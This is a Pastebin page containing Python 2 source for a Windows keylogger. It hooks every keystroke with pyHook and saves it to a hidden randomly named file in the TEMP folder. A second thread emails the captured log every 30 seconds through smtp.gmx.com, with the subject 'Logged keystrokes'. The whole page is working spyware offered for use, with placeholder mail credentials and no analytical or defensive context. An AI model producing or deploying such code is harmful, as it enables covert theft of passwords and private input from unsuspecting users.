Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, random, smtplib, string, time, threading
- from email.mime.text import MIMEText
- import pythoncom, pyHook
- global logfile
- def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
- return ''.join(random.choice(chars) for _ in range(size))
- temp_path = os.getenv('TEMP')
- logfile = temp_path + "\\" + id_generator(15)
- print logfile
- f = open(logfile,"a")
- f.write("")
- f.close()
- def keylogger():
- def OnKeyboardEvent(event):
- if event.Ascii != 0 or 8:
- f = open(logfile,"a")
- keylogs = chr(event.Ascii)
- if event.Ascii == 13:
- keylogs = "\n"
- f.write(keylogs)
- f.close()
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- def mailsender():
- username = 'xxxx'
- password = 'xxxx'
- mittente = 'xxxx'
- ricevente = 'xxxxx'
- while 1:
- time.sleep(30)
- fo = open(logfile, "r")
- msg = MIMEText(fo.read())
- fo.close()
- msg['Subject'] = 'Logged keystrokes'
- msg['From'] = mittente
- msg['To'] = ricevente
- try:
- s = smtplib.SMTP('smtp.gmx.com:25')
- s.login(username,password)
- s.sendmail(mittente, [ricevente], msg.as_string())
- s.close()
- print "Successfully sent email"
- except Exception, a:
- print a
- thread1 = threading.Thread(name="sic1", target=keylogger)
- thread2 = threading.Thread(name="sic2", target=mailsender)
- thread1.start()
- thread2.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement